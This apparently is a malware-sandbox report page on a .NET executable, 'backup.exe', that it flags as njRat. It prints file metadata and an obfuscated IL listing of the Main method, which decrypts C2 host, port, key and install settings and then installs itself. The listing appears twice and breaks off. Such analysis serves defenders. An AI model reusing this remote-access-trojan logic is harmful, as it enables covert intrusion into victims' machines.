Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 3 files
EXE9c15ea63304f756792a320ebaf4e2d50njRat
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
backup.exe
Full Name
backup.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
backup.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
backup
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
425
Main IL 
ldsfld System.Byte[] Stub.Messages::Ⴗ
stloc.s V_20
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 392
ldc.i4 413
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldc.i4.5 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 154
ldc.i4 169
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 669
ldc.i4 686
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Port
ldc.i4.4 <null>
stloc.s V_15
br.s IL_0024: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 850
ldc.i4 865
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 962
ldc.i4 1009
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.2 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 967
ldc.i4 1012
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 132
ldc.i4 183
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.3 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 203
ldc.i4 248
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 974
ldc.i4 905
call System.String Stub.Uninstaller::Ⴅ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.0 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 460
ldc.i4 511
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::InstallStr
leave.s IL_019F: ldc.i4.5
dup <null>
ldc.i4 655
ldc.i4 657
call System.Void My.MyComputer::ႤႰ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 630
ldc.i4 608
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldc.i4 482
ldc.i4 423
call System.Void Stub.Main::Ⴓ(System.Int16,System.Int32)
leave.s IL_019F: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴅ.Ⴓ::Ⴀ()
brtrue.s IL_01D1: ldc.i4.0
ldc.i4.3 <null>
stloc.s V_17
br.s IL_01A2: ldloc.s V_17
ldc.i4.0 <null>
br.s IL_01CD: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 306
ldc.i4 292
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
ldc.i4.s 20
ldc.i4 208122794
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 999
ldc.i4 966
call System.String Stub.Uninstaller::Ⴀ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32)
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 921
ldc.i4 902
call System.IO.DirectoryInfo Stub.AlgorithmAES::Ⴍ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32)
ldc.i4 603
ldc.i4 628
call System.String Stub.AlgorithmAES::Ⴐ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Int32)
stloc.s V_4
ldc.i4.2 <null>
stloc.s V_19
br.s IL_020E: ldloc.s V_19
ldloc.s V_4
ldc.i4 608
ldc.i4 595
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 183
ldc.i4 173
call System.Boolean Stub.Main::Ⴗ<System.String>(System.String,System.Int16,System.Int32)
brtrue.s IL_0298: ldc.i4.1
ldc.i4.s 9
stloc.s V_19
br IL_020E: ldloc.s V_19
ldc.i4.1 <null>
br.s IL_0291: stloc.s V_19
ldloc.s V_4
ldc.i4 133
ldc.i4 182
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 622
ldc.i4 532
call System.IO.DirectoryInfo Stub.Uninstaller::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
pop <null>
ldc.i4.1 <null>
stloc.s V_19
br IL_020E: ldloc.s V_19
ldloc.0 <null>
isinst System.String
ldc.i4 880
ldc.i4 875
call System.Boolean Stub.Main::Ⴗ<System.String>(System.String,System.Int16,System.Int32)
brfalse.s IL_02E9: ldc.i4.4
ldloc.s V_20
ldc.i4.s 92
ldelem.u1 <null>
ldc.i4.5 <null>
mul <null>
stloc.s V_19
br IL_020E: ldloc.s V_19
ldc.i4.4 <null>
br.s IL_02E2: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 487
ldc.i4 437
call System.Void My.MyApplication::ႤႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 437
ldc.i4 416
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴅ.Ⴓ::Ⴗ
ldc.i4 713
ldc.i4 660
call System.Byte[] My.MyComputer::ႤႠ<System.String>(System.String,System.Int16,System.Char)
ldc.i4 431
ldc.i4 432
call System.Void Stub.AlgorithmAES::Ⴓ<System.String>(System.String,System.Byte[],System.Char,System.Int32)
leave.s IL_0371: ldc.i4.5
dup <null>
ldc.i4 488
ldc.i4 502
call System.Void My.MyComputer::ႤႰ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_6
ldc.i4 325
ldc.i4 256
call System.Void Stub.Main::Ⴓ(System.Int16,System.Int32)
leave.s IL_0371: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 335
ldc.i4 372
call System.String Stub.Uninstaller::Ⴈ(System.Environment/SpecialFolder,System.Int16,System.Int32)
ldc.i4.1 <null>
ldc.i4.s 14
ldc.i4 208122795
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4.s 111
ldc.i4.s 39
call System.String Stub.Uninstaller::Ⴅ<System.String>(System.String,System.Int16,System.Char)
ldc.i4.8 <null>
ldc.i4.0 <null>
ldc.i4 208122444
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4 476
ldc.i4 422
call System.String Stub.Uninstaller::Ⴄ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32)
stloc.s V_7
ldc.i4.7 <null>
stloc.s V_22
br.s IL_0374: ldloc.s V_22
ldc.i4.5 <null>
ldc.i4.s 24
ldc.i4 208122442
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
ldc.i4.s 27
ldc.i4 208122377
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4 458
ldc.i4 495
call System.Object Stub.Uninstaller::ႰႥ<System.String,System.String>(System.String,System.String,System.Int16,System.Int16)
ldnull <null>
ldc.i4.4 <null>
ldc.i4.6 <null>
ldc.i4 208122459
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
castclass System.String
stelem.ref <null>
ldloc.s V_9
isinst System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
isinst System.Boolean[]
ldc.i4 203
ldc.i4 161
call System.Object My.MyApplication::ႤႨ<System.String,System.Object,System.Type>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int16,System.Int16)
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_04A7: stloc.s V_12
ldloc.s V_10
isinst System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4.s 72
ldc.i4.s 95
call System.Object My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int32,System.Int16)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4.1 <null>
ldc.i4.s 22
ldc.i4 208122285
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.1 <null>
stloc.s V_22
br IL_0374: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4.2 <null>
ldc.i4.s 14
ldc.i4 208122291
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4.1 <null>
ldc.i4.s 24
ldc.i4 208122377
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.8 <null>
stloc.s V_22
br IL_0374: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4.1 <null>
ldc.i4.s 25
ldc.i4 208122253
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.2 <null>
stloc.s V_22
br IL_0374: ldloc.s V_22
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴅ.Ⴓ::Ⴄ
leave.s IL_057C: ldc.i4.4
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_057C: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴅ.Ⴓ::Ⴍ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.1 <null>
stloc.s V_24
br.s IL_057F: ldloc.s V_24
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.2 <null>
stloc.s V_24
br IL_057F: ldloc.s V_24
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ldsfld System.Byte[] Stub.Messages::Ⴗ
ldc.i4 430
ldsfld System.Byte[] Stub.Messages::Ⴗ
ldc.i4 430
ldelem.u1 <null>
ldsfld System.Byte[] Stub.Messages::Ⴗ
ldc.i4 286
ldelem.u1 <null>
mul <null>
ldc.i4 254
and <null>
stelem.i1 <null>
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
backup.exe
Full Name
backup.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
backup.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
backup
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
425
Main IL 
ldsfld System.Byte[] Stub.Messages::Ⴗ
stloc.s V_20
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 392
ldc.i4 413
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldc.i4.5 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 154
ldc.i4 169
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 669
ldc.i4 686
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Port
ldc.i4.4 <null>
stloc.s V_15
br.s IL_0024: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 850
ldc.i4 865
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 962
ldc.i4 1009
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.2 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 967
ldc.i4 1012
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 132
ldc.i4 183
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.3 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 203
ldc.i4 248
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 974
ldc.i4 905
call System.String Stub.Uninstaller::Ⴅ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.0 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 460
ldc.i4 511
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::InstallStr
leave.s IL_019F: ldc.i4.5
dup <null>
ldc.i4 655
ldc.i4 657
call System.Void My.MyComputer::ႤႰ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 630
ldc.i4 608
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldc.i4 482
ldc.i4 423
call System.Void Stub.Main::Ⴓ(System.Int16,System.Int32)
leave.s IL_019F: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴅ.Ⴓ::Ⴀ()
brtrue.s IL_01D1: ldc.i4.0
ldc.i4.3 <null>
stloc.s V_17
br.s IL_01A2: ldloc.s V_17
ldc.i4.0 <null>
br.s IL_01CD: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 306
ldc.i4 292
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
ldc.i4.s 20
ldc.i4 208122794
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 999
ldc.i4 966
call System.String Stub.Uninstaller::Ⴀ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32)
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 921
ldc.i4 902
call System.IO.DirectoryInfo Stub.AlgorithmAES::Ⴍ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32)
ldc.i4 603
ldc.i4 628
call System.String Stub.AlgorithmAES::Ⴐ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Int32)
stloc.s V_4
ldc.i4.2 <null>
stloc.s V_19
br.s IL_020E: ldloc.s V_19
ldloc.s V_4
ldc.i4 608
ldc.i4 595
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 183
ldc.i4 173
call System.Boolean Stub.Main::Ⴗ<System.String>(System.String,System.Int16,System.Int32)
brtrue.s IL_0298: ldc.i4.1
ldc.i4.s 9
stloc.s V_19
br IL_020E: ldloc.s V_19
ldc.i4.1 <null>
br.s IL_0291: stloc.s V_19
ldloc.s V_4
ldc.i4 133
ldc.i4 182
call System.String Stub.AlgorithmAES::Ⴅ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 622
ldc.i4 532
call System.IO.DirectoryInfo Stub.Uninstaller::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
pop <null>
ldc.i4.1 <null>
stloc.s V_19
br IL_020E: ldloc.s V_19
ldloc.0 <null>
isinst System.String
ldc.i4 880
ldc.i4 875
call System.Boolean Stub.Main::Ⴗ<System.String>(System.String,System.Int16,System.Int32)
brfalse.s IL_02E9: ldc.i4.4
ldloc.s V_20
ldc.i4.s 92
ldelem.u1 <null>
ldc.i4.5 <null>
mul <null>
stloc.s V_19
br IL_020E: ldloc.s V_19
ldc.i4.4 <null>
br.s IL_02E2: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 487
ldc.i4 437
call System.Void My.MyApplication::ႤႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 437
ldc.i4 416
call System.Void Stub.AlgorithmAES::Ⴄ(System.Int32,System.Int32,System.Int16)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴅ.Ⴓ::Ⴗ
ldc.i4 713
ldc.i4 660
call System.Byte[] My.MyComputer::ႤႠ<System.String>(System.String,System.Int16,System.Char)
ldc.i4 431
ldc.i4 432
call System.Void Stub.AlgorithmAES::Ⴓ<System.String>(System.String,System.Byte[],System.Char,System.Int32)
leave.s IL_0371: ldc.i4.5
dup <null>
ldc.i4 488
ldc.i4 502
call System.Void My.MyComputer::ႤႰ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_6
ldc.i4 325
ldc.i4 256
call System.Void Stub.Main::Ⴓ(System.Int16,System.Int32)
leave.s IL_0371: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 335
ldc.i4 372
call System.String Stub.Uninstaller::Ⴈ(System.Environment/SpecialFolder,System.Int16,System.Int32)
ldc.i4.1 <null>
ldc.i4.s 14
ldc.i4 208122795
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4.s 111
ldc.i4.s 39
call System.String Stub.Uninstaller::Ⴅ<System.String>(System.String,System.Int16,System.Char)
ldc.i4.8 <null>
ldc.i4.0 <null>
ldc.i4 208122444
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4 476
ldc.i4 422
call System.String Stub.Uninstaller::Ⴄ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32)
stloc.s V_7
ldc.i4.7 <null>
stloc.s V_22
br.s IL_0374: ldloc.s V_22
ldc.i4.5 <null>
ldc.i4.s 24
ldc.i4 208122442
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
ldc.i4.s 27
ldc.i4 208122377
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4 458
ldc.i4 495
call System.Object Stub.Uninstaller::ႰႥ<System.String,System.String>(System.String,System.String,System.Int16,System.Int16)
ldnull <null>
ldc.i4.4 <null>
ldc.i4.6 <null>
ldc.i4 208122459
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
castclass System.String
stelem.ref <null>
ldloc.s V_9
isinst System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
isinst System.Boolean[]
ldc.i4 203
ldc.i4 161
call System.Object My.MyApplication::ႤႨ<System.String,System.Object,System.Type>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int16,System.Int16)
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_04A7: stloc.s V_12
ldloc.s V_10
isinst System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4.s 72
ldc.i4.s 95
call System.Object My.MyComputer::Ⴐ<System.Object>(System.Object,System.Int32,System.Int16)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4.1 <null>
ldc.i4.s 22
ldc.i4 208122285
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.1 <null>
stloc.s V_22
br IL_0374: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4.2 <null>
ldc.i4.s 14
ldc.i4 208122291
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4.1 <null>
ldc.i4.s 24
ldc.i4 208122377
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.8 <null>
stloc.s V_22
br IL_0374: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4.1 <null>
ldc.i4.s 25
ldc.i4 208122253
call System.String My.MyApplication::Ⴍ(System.Int32,System.Byte,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.2 <null>
stloc.s V_22
br IL_0374: ldloc.s V_22
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴅ.Ⴓ::Ⴄ
leave.s IL_057C: ldc.i4.4
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_057C: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴅ.Ⴓ::Ⴍ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.1 <null>
stloc.s V_24
br.s IL_057F: ldloc.s V_24
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
